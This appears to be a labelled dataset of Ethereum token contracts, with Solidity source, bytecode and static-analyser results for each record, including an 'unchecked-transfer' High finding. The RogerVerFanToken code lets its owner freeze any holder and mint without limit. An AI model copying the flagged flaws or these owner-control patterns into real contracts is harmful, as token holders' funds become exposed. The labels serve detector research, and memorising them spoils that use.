ffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156116b457fe5b818303905092915050565b6000808284019050838110156116d157fe5b809150509291505056fea265627a7a723158206ad412232d76dfb180fbe728a7fe9f5b5fa7b91991b272cc348b82a1b587eb0b64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,322
0x14025c1cc85df91b5e2e7bc6e5469017aba34ed6
/** *Submitted for verification at Etherscan.io on 2021-03-22 */ pragma solidity ^0.5.0; library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Roles { struct Role { mapping(address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Pausable is Ownable { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { _paused = false; emit Unpaused(msg.sender); } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add( addedValue ); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub( subtractedValue ); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer( address from, address to, uint256 value ) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value ); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom( address from, address to, uint256 value ) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } /* * approve/increaseApprove/decreaseApprove can be set when Paused state */ /* * function approve(address spender, uint256 value) public whenNotPaused returns (bool) { * return super.approve(spender, value); * } * * function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { * return super.increaseAllowance(spender, addedValue); * } * * function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { * return super.decreaseAllowance(spender, subtractedValue); * } */ } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor( string memory name, string memory symbol, uint8 decimals ) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } contract RogerVerFanToken is ERC20Detailed, ERC20Pausable { mapping(address => bool) public frozenAccount; event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozenAccount[_holder]); _; } constructor() public ERC20Detailed("RogerVer.FanToken", "RVF", 18) { _mint(msg.sender, 100000000 * (10**18)); } function balanceOf(address owner) public view returns (uint256) { return super.balanceOf(owner); } function transfer(address to, uint256 value) public notFrozen(msg.sender) returns (bool) { return super.transfer(to, value); } function transferFrom( address from, address to, uint256 value ) public notFrozen(from) returns (bool) { return super.transferFrom(from, to, value); } function freezeAccount(address holder) public onlyOwner returns (bool) { require(!frozenAccount[holder]); frozenAccount[holder] = true; emit Freeze(holder); return true; } function unfreezeAccount(address holder) public onlyOwner returns (bool) { require(frozenAccount[holder]); frozenAccount[holder] = false; emit Unfreeze(holder); return true; } function mint(uint256 _amount) public onlyOwner returns (bool) { _mint(msg.sender, _amount); return true; } function burn(uint256 _amount) public onlyOwner returns (bool) { _burn(msg.sender, _amount); return true; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063788649ea116100b8578063a457c2d71161007c578063a457c2d7146105ab578063a9059cbb14610611578063b414d4b614610677578063dd62ed3e146106d3578063f26c159f1461074b578063f2fde38b146107a757610142565b8063788649ea146104325780638456cb591461048e5780638da5cb5b1461049857806395d89b41146104e2578063a0712d681461056557610142565b8063395093511161010a57806339509351146102f85780633f4ba83a1461035e57806342966c68146103685780635c975abb146103ae57806370a08231146103d0578063715018a61461042857610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd1461023057806323b872dd1461024e578063313ce567146102d4575b600080fd5b61014f6107eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b604051808215151515815260200191505060405180910390f35b6102386109b8565b6040518082815260200191505060405180910390f35b6102ba6004803603606081101561026457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109c2565b604051808215151515815260200191505060405180910390f35b6102dc610a31565b604051808260ff1660ff16815260200191505060405180910390f35b6103446004803603604081101561030e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a48565b604051808215151515815260200191505060405180910390f35b610366610c7d565b005b6103946004803603602081101561037e57600080fd5b8101908080359060200190929190505050610dd9565b604051808215151515815260200191505060405180910390f35b6103b6610eb1565b604051808215151515815260200191505060405180910390f35b610412600480360360208110156103e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ec8565b6040518082815260200191505060405180910390f35b610430610eda565b005b6104746004803603602081101561044857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061105e565b604051808215151515815260200191505060405180910390f35b61049661121d565b005b6104a061137a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104ea6113a4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052a57808201518184015260208101905061050f565b50505050905090810190601f1680156105575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105916004803603602081101561057b57600080fd5b8101908080359060200190929190505050611446565b604051808215151515815260200191505060405180910390f35b6105f7600480360360408110156105c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061151e565b604051808215151515815260200191505060405180910390f35b61065d6004803603604081101561062757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611753565b604051808215151515815260200191505060405180910390f35b6106b96004803603602081101561068d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117c0565b604051808215151515815260200191505060405180910390f35b610735600480360360408110156106e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117e0565b6040518082815260200191505060405180910390f35b61078d6004803603602081101561076157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611867565b604051808215151515815260200191505060405180910390f35b6107e9600480360360208110156107bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a27565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108835780601f1061085857610100808354040283529160200191610883565b820191906000526020600020905b81548152906001019060200180831161086657829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108c857600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b600083600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a1c57600080fd5b610a27858585611c30565b9150509392505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8357600080fd5b610b1282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff16610d5957600080fd5b6000600660146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610ea83383611c7f565b60019050919050565b6000600660149054906101000a900460ff16905090565b6000610ed382611dd3565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611123576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661117957600080fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fca5069937e68fd197927055037f59d7c90bf75ac104e6e375539ef480c3ad6ee60405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660149054906101000a900460ff16156112fa57600080fd5b6001600660146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561143c5780601f106114115761010080835404028352916020019161143c565b820191906000526020600020905b81548152906001019060200180831161141f57829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461150b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6115153383611e1c565b60019050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561155957600080fd5b6115e882600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600033600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117ad57600080fd5b6117b78484611f90565b91505092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561198357600080fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a260019050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806123ac6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660149054906101000a900460ff1615611c4c57600080fd5b611c57848484611fbe565b90509392505050565b600080828401905083811015611c7557600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611cb957600080fd5b611cce81600554611f7090919063ffffffff16565b600581905550611d2681600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7090919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e5657600080fd5b611e6b81600554611c6090919063ffffffff16565b600581905550611ec381600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6090919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600082821115611f7f57600080fd5b600082840390508091505092915050565b6000600660149054906101000a900460ff1615611fac57600080fd5b611fb683836121c6565b905092915050565b600061204f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7090919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120da8484846121dd565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b60006121d33384846121dd565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561221757600080fd5b61226981600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f7090919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122fe81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6090919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a723158203d223692f1b894d2be8ece375f04d26711b4caf3d6cea6110d95d8ff49e3e3c664736f6c63430005110032
{"success": true, "error": null, "results": {}}
7,323
0x370657897d58851bdaf616c28396b6b52a2cb763
/** *Submitted for verification at Etherscan.io on 2022-04-19 */ /** WEEDSPAPER Total supply: 500,000,000 MaxBuy:5,000,000 MaxWallet:15,000,000 🌐 Website - https://weedsfinance.com/ 💬 Telegram - https://t.me/weedsfinance */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WEEDS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => 